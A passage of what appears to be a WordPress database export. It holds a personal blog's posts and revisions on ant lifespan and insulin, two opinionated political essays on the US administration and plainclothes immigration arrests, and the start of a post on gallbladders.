is is very weird&nbsp;<a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-4-156956439\">4</a>. It’s also very weird for lifespan to be so elastic, in that a single ant can go from a 200 day lifespan, to a 1000 day lifespan, back to a 200 day lifespan with no obvious repercussions, except perhaps a slightly decreased lifespan from stress upon the reversion. But it’s also intriguing because it brings in reproduction into our discussion of lifespan, which, in turn, will bring back insulin again (don’t think I’ve forgotten).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Beyond the paywall, a bit more musing about insulin and reproduction, as well as wrapping up the discussion of the paper.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Reproduction is intimately linked to lifespan. Many animals, such as female octopuses or all salmon, die after they reproduce. Castration and sterilization are linked to a longer lifespan in many species, including&nbsp;<a href=\"https://news.uga.edu/uga-research-finds-sterilized-dogs-live-longer/\">dogs</a>&nbsp;and, possibly,&nbsp;<a href=\"https://www.newscientist.com/article/dn22302-can-castration-really-prolong-a-mans-life/\">humans</a>. Many reasons have been proposed for this, such as reduced tendency for risk-taking in males, reduced risk from childbirth in females, or reduced risk of cancer in reproductive organs for both males and females.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But this gamergate paper suggests a deeper connection, leading through insulin. Insulin production in gamergates’ brains seems to be a big part of what triggers their switch to an increased lifespan and their increase and interest in reproduction<a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-5-156956439\">5</a>. Physiologically, this makes sense, as egg laying is energy and lipid-intensive, so gamergates need to use their insulin systems to start gathering more fat and energy in general.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only issue is that gamergates would then seem to be the exception to the rule. Instead of reproduction shortening their lifespan, it lengthens it, or at least is part of the same process that lengthens it. There’s some suggestion in&nbsp;<a href=\"https://www.science.org/doi/full/10.1126/science.abm8767\">this paper</a>&nbsp;that the life lengthening has to do with blocking the effects of insulin in the “fat bodies” (liver equivalents) of ants, although the evidence and cause and effect is still somewhat murky. Likewise, the effects of injecting insulin into gamergates is also murky: it appeared to trigger egg growth in them, but&nbsp;<em>decreased</em>&nbsp;their propensity to duel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, instead of trying to untangle what exactly insulin has to do with lifespan and reproduction in ants or humans, I’ll just leave this as another weird example of how lifespan and insulin interact.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-anchor-1-156956439\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Presumably at least once in the world, an entomologist and a sociologist have met who both study gamergates and have very confused ideas of what the other one does.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-anchor-2-156956439\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My source for most of the info in this blog is&nbsp;<a href=\"https://www.science.org/doi/full/10.1126/science.abm8767\">this paper</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-anchor-3-156956439\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That is, they then have about 200 days to live from the time of their reversion, regardless of how long they’ve lived as a pseudoqueen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-anchor-4-156956439\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Choose” might seem to be a weird word here, but that does seem to be a component of winning the duel. Any ant that doesn’t want to become a pseudoqueen and have an extended lifespan can choose to lose or leave the duel. Of course, the reverse doesn’t hold true, given that winning the duel isn’t simply a matter of choice.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/some-ants-can-choose-to-live-5x-as#footnote-anchor-5-156956439\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Non-mating females naturally produce a few eggs. Gamergates produce more eggs, and they also actively participate in “nuptial flights”, where they go out and seek to be fertilized by male ants from other colonies.</p>\n<!-- /wp:paragraph -->','Some ants can choose to live 5x as long','','inherit','closed','closed','','518-revision-v1','','','2025-07-03 19:38:34','2025-07-03 19:38:34','',518,'https://trevorklee.com/?p=519',0,'revision','',0),
(520,1,'2025-07-03 19:40:09','2025-07-03 19:40:09','<!-- wp:paragraph -->\n<p>I’ve tried never to write about politics or, indeed, any hot button issues in my blog. It’s a quick way to attract readers and attention, for sure, but I dislike the sort of attention and discourse it tends to bring. I much prefer to write long boring blogs about esoteric scientific topics, until only the most dedicated and sedate of readers are still with me 3000 words later.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nevertheless, I find myself at the present moment needing to write about politics, because I have a mouth and I must scream. I tried to get this bug out of my system earlier this month, by writing obliquely about the moral considerations of size. The point being that the current administration was, charitably speaking, behaving as if it was unaware that it was now the giant in the room, and no longer the weakling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I wish I could still keep to that charitable interpretation. But I don’t think I can. Today, I saw the President and Vice President of the United States of America try to bully and publicly humiliate the President of Ukraine for no reason other than that his country is weak and our country is strong. They called him to the White House, demanded that he say please and thank you as they presented a deal to devour his country’s resources, and then expelled him like a misbehaving student when he objected.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!SMgj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2fa87020-bcb9-479b-8f28-78471e90848d_3000x1688.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!SMgj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2fa87020-bcb9-479b-8f28-78471e90848d_3000x1688.jpeg\" alt=\"How Election Deniers Claimed the Upside-Down Flag - The New York Times\" title=\"How Election Deniers Claimed the Upside-Down Flag - The New York Times\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This is the most performatively cruel I have ever seen the leadership of the United States behave. It’s impossible to understand as a rational action, because it puts us in league with a weak, chaotic, evil empire and against any of our former allies. It broadcasts to the world that the United States is not to be trusted: not only that any gifts we give are, in fact, loans, but that also we will make you regret taking them. It threatens the&nbsp;<em>Pax Americana</em>&nbsp;and pushes the whole world towards militarization, and will almost certainly result in new nuclear powers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only way I can understand this is as an action in which cruelty is the point. It’s a performance. They need to be cruel because cruelty causes the other side to cry out in pain, and crying out in pain shows that the other side deserved it. It’s the morality of the schoolyard bully, the torturer, the wife beater. The only real virtue is momentary strength; the only real sin is momentary weakness.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s the lens that I’m starting to see this whole goddamn administration in. The chaotic, untargeted, mass firings of anybody in the federal government who’s been recently hired or promoted; the confusion of simultaneously frozen and unfrozen scientific funds; the cancellation of cheap, lifesaving aid programs; the appointment of the most untrustworthy thugs to the leadership of our institutions. It’s just all performance. It’s just all a demonstration that they are in power now, and you are not, and that the things you hold holy they can destroy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this view of morality, the only way the weak can temporarily redeem themselves is by groveling. You need to kiss the bully’s foot. You need to laugh at his joke insulting you. You need to tell him that he was right all along, that you are a piteous, sniveling weakling, and that you deserved everything that came to you. Then, and only then, are you redeemed. It doesn’t matter what else you’ve done: you can be an abusive pimp, a womanizing drug addicted child murderer, a lying bribe-taking Democratic mayor, even (and especially) someone who has repeatedly criticized that bully in the past.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you pledge yourself completely to the strong, then, and only then, can you specifically be helped. But, just so you know: this offer only extends to you personally. Your village will be burnt behind you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I hate this so, so goddamn much. I have never felt so alienated from my country’s politics as of now. Even when the US bombed Pakistani weddings, grandstanded about women’s breasts terrorizing children, celebrated riots as reparations, or tortured innocents in Guantanamo there was some veneer of moral logic to it. There was at least a pretense of a moral high ground, that whoever wields the awesome power of the United States government is at least trying to do good with it, even if they were failing or not trying very hard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But this isn’t even those weak attempts at trying to do the right thing in a complex world. This is like solving the trolley problem by going out on the tracks, extorting the people tied to the tracks for money, and then somehow killing all of them anyway. It’s pathetic and disgusting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s pretty much all I have to say, at least until this administration does something else terrible. 1 month down, 47 left to go.</p>\n<!-- /wp:paragraph -->','The performative cruelty of it','','publish','closed','closed','','the-performative-cruelty-of-it','','','2025-07-03 19:40:09','2025-07-03 19:40:09','',0,'https://trevorklee.com/?page_id=520',0,'page','',0),
(521,1,'2025-07-03 19:40:09','2025-07-03 19:40:09','<!-- wp:paragraph -->\n<p>I’ve tried never to write about politics or, indeed, any hot button issues in my blog. It’s a quick way to attract readers and attention, for sure, but I dislike the sort of attention and discourse it tends to bring. I much prefer to write long boring blogs about esoteric scientific topics, until only the most dedicated and sedate of readers are still with me 3000 words later.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nevertheless, I find myself at the present moment needing to write about politics, because I have a mouth and I must scream. I tried to get this bug out of my system earlier this month, by writing obliquely about the moral considerations of size. The point being that the current administration was, charitably speaking, behaving as if it was unaware that it was now the giant in the room, and no longer the weakling.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I wish I could still keep to that charitable interpretation. But I don’t think I can. Today, I saw the President and Vice President of the United States of America try to bully and publicly humiliate the President of Ukraine for no reason other than that his country is weak and our country is strong. They called him to the White House, demanded that he say please and thank you as they presented a deal to devour his country’s resources, and then expelled him like a misbehaving student when he objected.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!SMgj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2fa87020-bcb9-479b-8f28-78471e90848d_3000x1688.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!SMgj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2fa87020-bcb9-479b-8f28-78471e90848d_3000x1688.jpeg\" alt=\"How Election Deniers Claimed the Upside-Down Flag - The New York Times\" title=\"How Election Deniers Claimed the Upside-Down Flag - The New York Times\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This is the most performatively cruel I have ever seen the leadership of the United States behave. It’s impossible to understand as a rational action, because it puts us in league with a weak, chaotic, evil empire and against any of our former allies. It broadcasts to the world that the United States is not to be trusted: not only that any gifts we give are, in fact, loans, but that also we will make you regret taking them. It threatens the&nbsp;<em>Pax Americana</em>&nbsp;and pushes the whole world towards militarization, and will almost certainly result in new nuclear powers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only way I can understand this is as an action in which cruelty is the point. It’s a performance. They need to be cruel because cruelty causes the other side to cry out in pain, and crying out in pain shows that the other side deserved it. It’s the morality of the schoolyard bully, the torturer, the wife beater. The only real virtue is momentary strength; the only real sin is momentary weakness.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s the lens that I’m starting to see this whole goddamn administration in. The chaotic, untargeted, mass firings of anybody in the federal government who’s been recently hired or promoted; the confusion of simultaneously frozen and unfrozen scientific funds; the cancellation of cheap, lifesaving aid programs; the appointment of the most untrustworthy thugs to the leadership of our institutions. It’s just all performance. It’s just all a demonstration that they are in power now, and you are not, and that the things you hold holy they can destroy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this view of morality, the only way the weak can temporarily redeem themselves is by groveling. You need to kiss the bully’s foot. You need to laugh at his joke insulting you. You need to tell him that he was right all along, that you are a piteous, sniveling weakling, and that you deserved everything that came to you. Then, and only then, are you redeemed. It doesn’t matter what else you’ve done: you can be an abusive pimp, a womanizing drug addicted child murderer, a lying bribe-taking Democratic mayor, even (and especially) someone who has repeatedly criticized that bully in the past.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you pledge yourself completely to the strong, then, and only then, can you specifically be helped. But, just so you know: this offer only extends to you personally. Your village will be burnt behind you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I hate this so, so goddamn much. I have never felt so alienated from my country’s politics as of now. Even when the US bombed Pakistani weddings, grandstanded about women’s breasts terrorizing children, celebrated riots as reparations, or tortured innocents in Guantanamo there was some veneer of moral logic to it. There was at least a pretense of a moral high ground, that whoever wields the awesome power of the United States government is at least trying to do good with it, even if they were failing or not trying very hard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But this isn’t even those weak attempts at trying to do the right thing in a complex world. This is like solving the trolley problem by going out on the tracks, extorting the people tied to the tracks for money, and then somehow killing all of them anyway. It’s pathetic and disgusting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s pretty much all I have to say, at least until this administration does something else terrible. 1 month down, 47 left to go.</p>\n<!-- /wp:paragraph -->','The performative cruelty of it','','inherit','closed','closed','','520-revision-v1','','','2025-07-03 19:40:09','2025-07-03 19:40:09','',520,'https://trevorklee.com/?p=521',0,'revision','',0),
(522,1,'2025-07-03 19:42:05','2025-07-03 19:42:05','<!-- wp:paragraph -->\n<p>I read a magazine story a while ago about blood feuds in modern-day Albania. As I recall, the story went something like this: there were two neighboring families in Albania. They were friendly for a while, and then, at some point, there was a fight at a party between them. A member of the first family got killed by a member of the second family. So, the remaining first family members got together, formed a lynch mob, and killed a member of the second family in revenge. The second family members then, in outrage, got together and killed the ringleader of the lynch mob from the first family. And so on, and so forth, until the valley was soaked in the blood of both families.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What I remember most clearly from the story was the author’s interview of the remaining patriarch of one of the families (the old patriarch had been killed). The patriarch led a miserable existence. Not only had many of his loved ones been killed, but he lived in constant fear of being killed himself. He couldn’t venture outside his home; he slept in a windowless room with the door locked; and his only thoughts were fear and hatred towards the other family. This blood feud had completely ruined his life and he saw no way of undoing it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We take for granted our criminal justice system in America. For the most part, we are a law-abiding society. We trust each other, which allows for nice things, like self-checkout at the grocery store. We are also, largely, a society that believes in the rule of law. When we get in accidents or we feel in danger, we call the police, and we trust that the police will do their best to help us and fix the issue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I will be the first to admit that this system is imperfect. There are some things that police are willing to do that they should put more effort into, like help us recover stolen phones. The police occasionally abuse their authority, which is what a lot of the Black Lives Matter protests were about. There are also some sorts of wrongdoing that are inherently difficult for police to deal with and so often end up unpunished, like wage theft.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, overall, it’s a pretty good system. It’s way better than blood feuds. It means that the sorts of frictions and wrongdoings that gum up the works of a complex society don’t spiral into multigenerational vortexes of misery and retaliation. They’re just dealt with and are, for the most part, forgotten.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The system only works because of trust, though. It only works because we mostly trust our neighbors to not treat us poorly, and we mostly trust the police to step in if our neighbors do treat us poorly. We don’t have to sleep in windowless rooms, worried that our neighbors from across the way will try to break in and kill us and that the only thing that can prevent that is the gun beneath our pillow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anything that threatens that trust, therefore, is a threat to this nice way of life. I felt that strongly a few years ago, when the Black Lives Matter movement morphed into a movement that celebrated criminals and demonized those that would punish them. This morph made people not trust the police at all, and, because they couldn’t trust the police to punish criminals, they also couldn’t trust that their neighbors were not criminals. It made us want to lock our doors again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also feel that strongly now. A few days ago, in Boston’s neighboring city of Somerville, a Turkish student was arrested by plainclothes immigration officers. In the video taken of the arrest, you can watch as, within a few minutes, she’s surrounded by masked men and women wearing street clothes who handcuff her and whisk her off into a van with darkened windows. These men and women do not identify themselves except to briefly say they are police (after they grab her). They do not tell her what she’s accused of or why they are abducting her.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!dNyo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6434a6ca-2c19-4181-b047-fb0f346eeedc_600x400.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!dNyo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6434a6ca-2c19-4181-b047-fb0f346eeedc_600x400.jpeg\" alt=\"Turkish student at Tufts University detained, video shows masked people  handcuffing her - The Globe and Mail\" title=\"Turkish student at Tufts University detained, video shows masked people  handcuffing her - The Globe and Mail\"/></a><figcaption class=\"wp-element-caption\">From the video. Note: everyone surrounding the woman in white is a plainclothed police officer. They all appear from seemingly out of nowhere. Frightening, right? More details in&nbsp;<a href=\"https://www.theglobeandmail.com/world/article-turkish-student-at-tufts-university-detained-video-shows-masked-people/\">this article</a>.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>According to subsequent news reports, the crime that she was arrested for was writing an op-ed critical of Israel’s foreign policy towards the Palestinians about a year ago. This, according to no less an august personage than Secretary of State Marco Rubio, warranted not just deportation, but immediate detention and deportation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have a lot of problems with this, but my biggest problem, by far, is how these officers’ actions threaten the trust between citizens (and non-citizens) and their police force. Police officers have special privileges in society. Unlike normal people, they have a lot of leeway to physically restrain, injure, or even kill their fellow citizens. They need to, in order to prevent the sort of blood feuds that Albania has.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to keep these lines of separation between police and ordinary people clear, police need to be clearly separate from other people. This is why they have special cars, special uniforms, and special titles. This demarcation is a crucial part of their role. It shows that they have accepted the privileges and responsibilities of law enforcers in society, and that they can be trusted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For police officers to go plainclothes, therefore, should be done very rarely. If a police officer is plainclothed, neither I nor they are clear about what their privileges and responsibilities are. Do they still need to abide by a police officer’s code of conduct? Do they still need to offer help to people if they’re asked? It’s unclear. The line between “police officer” and “random violent guy with a gun and handcuffs” becomes blurred.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These blurred lines are incredibly important on both sides. It is not just frightening for people to watch an ordinary woman being abducted from the street by a group of armed thugs. More importantly, an ordinary police officer, in uniform with his name obviously displayed, would never arrest someone for writing an op-ed a year ago. That is not what a police officer does. They would sooner quit than do something so obviously unconstitutional.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But plain clothed, masked thugs can abduct someone for doing so. They do not have the accountability of their uniform or even of their face. There is nobody who can watch the watchman. If people cannot trust the police, then they will need to turn back to trusting themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Trump administration needs to stop this or someone needs to stop the Trump administration. They have and continue to do serious damage to a number of American institutions, because they are too stupid and too arrogant to understand why those institutions are important. Men with guns abducting women off the street for their writing will not make America great. It will make America Albania, or Russia. And it’s not a fucking coincidence that Albanians and Russians are trying to get out of there.</p>\n<!-- /wp:paragraph -->','Plainclothes ICE officers threaten the trust needed for the police to function','','publish','closed','closed','','plainclothes-ice-officers-threaten-the-trust-needed-for-the-police-to-function','','','2025-07-03 19:42:05','2025-07-03 19:42:05','',0,'https://trevorklee.com/?page_id=522',0,'page','',0),
(523,1,'2025-07-03 19:42:05','2025-07-03 19:42:05','<!-- wp:paragraph -->\n<p>I read a magazine story a while ago about blood feuds in modern-day Albania. As I recall, the story went something like this: there were two neighboring families in Albania. They were friendly for a while, and then, at some point, there was a fight at a party between them. A member of the first family got killed by a member of the second family. So, the remaining first family members got together, formed a lynch mob, and killed a member of the second family in revenge. The second family members then, in outrage, got together and killed the ringleader of the lynch mob from the first family. And so on, and so forth, until the valley was soaked in the blood of both families.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What I remember most clearly from the story was the author’s interview of the remaining patriarch of one of the families (the old patriarch had been killed). The patriarch led a miserable existence. Not only had many of his loved ones been killed, but he lived in constant fear of being killed himself. He couldn’t venture outside his home; he slept in a windowless room with the door locked; and his only thoughts were fear and hatred towards the other family. This blood feud had completely ruined his life and he saw no way of undoing it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We take for granted our criminal justice system in America. For the most part, we are a law-abiding society. We trust each other, which allows for nice things, like self-checkout at the grocery store. We are also, largely, a society that believes in the rule of law. When we get in accidents or we feel in danger, we call the police, and we trust that the police will do their best to help us and fix the issue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I will be the first to admit that this system is imperfect. There are some things that police are willing to do that they should put more effort into, like help us recover stolen phones. The police occasionally abuse their authority, which is what a lot of the Black Lives Matter protests were about. There are also some sorts of wrongdoing that are inherently difficult for police to deal with and so often end up unpunished, like wage theft.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, overall, it’s a pretty good system. It’s way better than blood feuds. It means that the sorts of frictions and wrongdoings that gum up the works of a complex society don’t spiral into multigenerational vortexes of misery and retaliation. They’re just dealt with and are, for the most part, forgotten.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The system only works because of trust, though. It only works because we mostly trust our neighbors to not treat us poorly, and we mostly trust the police to step in if our neighbors do treat us poorly. We don’t have to sleep in windowless rooms, worried that our neighbors from across the way will try to break in and kill us and that the only thing that can prevent that is the gun beneath our pillow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anything that threatens that trust, therefore, is a threat to this nice way of life. I felt that strongly a few years ago, when the Black Lives Matter movement morphed into a movement that celebrated criminals and demonized those that would punish them. This morph made people not trust the police at all, and, because they couldn’t trust the police to punish criminals, they also couldn’t trust that their neighbors were not criminals. It made us want to lock our doors again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I also feel that strongly now. A few days ago, in Boston’s neighboring city of Somerville, a Turkish student was arrested by plainclothes immigration officers. In the video taken of the arrest, you can watch as, within a few minutes, she’s surrounded by masked men and women wearing street clothes who handcuff her and whisk her off into a van with darkened windows. These men and women do not identify themselves except to briefly say they are police (after they grab her). They do not tell her what she’s accused of or why they are abducting her.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!dNyo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6434a6ca-2c19-4181-b047-fb0f346eeedc_600x400.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!dNyo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6434a6ca-2c19-4181-b047-fb0f346eeedc_600x400.jpeg\" alt=\"Turkish student at Tufts University detained, video shows masked people  handcuffing her - The Globe and Mail\" title=\"Turkish student at Tufts University detained, video shows masked people  handcuffing her - The Globe and Mail\"/></a><figcaption class=\"wp-element-caption\">From the video. Note: everyone surrounding the woman in white is a plainclothed police officer. They all appear from seemingly out of nowhere. Frightening, right? More details in&nbsp;<a href=\"https://www.theglobeandmail.com/world/article-turkish-student-at-tufts-university-detained-video-shows-masked-people/\">this article</a>.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>According to subsequent news reports, the crime that she was arrested for was writing an op-ed critical of Israel’s foreign policy towards the Palestinians about a year ago. This, according to no less an august personage than Secretary of State Marco Rubio, warranted not just deportation, but immediate detention and deportation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have a lot of problems with this, but my biggest problem, by far, is how these officers’ actions threaten the trust between citizens (and non-citizens) and their police force. Police officers have special privileges in society. Unlike normal people, they have a lot of leeway to physically restrain, injure, or even kill their fellow citizens. They need to, in order to prevent the sort of blood feuds that Albania has.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In order to keep these lines of separation between police and ordinary people clear, police need to be clearly separate from other people. This is why they have special cars, special uniforms, and special titles. This demarcation is a crucial part of their role. It shows that they have accepted the privileges and responsibilities of law enforcers in society, and that they can be trusted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For police officers to go plainclothes, therefore, should be done very rarely. If a police officer is plainclothed, neither I nor they are clear about what their privileges and responsibilities are. Do they still need to abide by a police officer’s code of conduct? Do they still need to offer help to people if they’re asked? It’s unclear. The line between “police officer” and “random violent guy with a gun and handcuffs” becomes blurred.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These blurred lines are incredibly important on both sides. It is not just frightening for people to watch an ordinary woman being abducted from the street by a group of armed thugs. More importantly, an ordinary police officer, in uniform with his name obviously displayed, would never arrest someone for writing an op-ed a year ago. That is not what a police officer does. They would sooner quit than do something so obviously unconstitutional.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But plain clothed, masked thugs can abduct someone for doing so. They do not have the accountability of their uniform or even of their face. There is nobody who can watch the watchman. If people cannot trust the police, then they will need to turn back to trusting themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Trump administration needs to stop this or someone needs to stop the Trump administration. They have and continue to do serious damage to a number of American institutions, because they are too stupid and too arrogant to understand why those institutions are important. Men with guns abducting women off the street for their writing will not make America great. It will make America Albania, or Russia. And it’s not a fucking coincidence that Albanians and Russians are trying to get out of there.</p>\n<!-- /wp:paragraph -->','Plainclothes ICE officers threaten the trust needed for the police to function','','inherit','closed','closed','','522-revision-v1','','','2025-07-03 19:42:05','2025-07-03 19:42:05','',522,'https://trevorklee.com/?p=523',0,'revision','',0),
(524,1,'2025-07-03 19:43:01','2025-07-03 19:43:01','<!-- wp:paragraph -->\n<p>The gallbladder is an oft-overlooked organ. It’s not nearly so vital as the heart, the lungs, or the brain. It can be removed without any serious health consequences if it malfunctions. Gallstones are the only common disease that affects it, and gallstones, although painful, are rarely serious.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you learn anything about the gallbladder, you probably learn the one fact that the gallbladder “stores and concentrates bile”. It doesn’t produce it (that’s the liver’s job), but it helps keep bile until it’s needed. If you learn a second thing, it’s that bile helps digest fats. This is why people who have their gallbladders removed have a bad time when they eat fatty foods.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this presents a plausible reason why humans still have gallbladders, even if they’re not super necessary. They\'re nice to have, even if you don’t need to have them. But I’m not satisfied with a purely human-centric viewpoint. I want to expand your view to the rest of the animal kingdom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br>After all, it’s not just humans with gallbladders. Lots of animals have gallbladders: dogs, cats, chickens, mice. And all of them have gallbladders for more or less the same reason that people do: to store and concentrate bile, which is used to digest fats. This is not so strange. What is strange is which animals don’t have gallbladders: horses, deer, alpacas, pigeons, some parrots, lampreys, and rats.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, maybe there’s a story you can tell about the animals that don’t have gallbladders in which they don’t eat fatty foods, so having a gallbladder is superfluous. That probably fits with horses, deer, and pigeons, although it’s frankly difficult to say that chickens or turkeys definitely eat more fatty food than pigeons. But, that story doesn’t make sense with rats.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rats, like humans and mice, eat everything, including fatty foods. So why don’t they need gallbladders?<br><br>***</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cyclosporine is a fascinating drug that I’ve written about a lot (and done studies on). It’s an effective immunosuppressant and it preserves mitochondrial health in times of stress. This makes it a good choice for, among other things, preventing long term damage from traumatic brain injuries.<br><br>However, as I’ve written about before, it’s 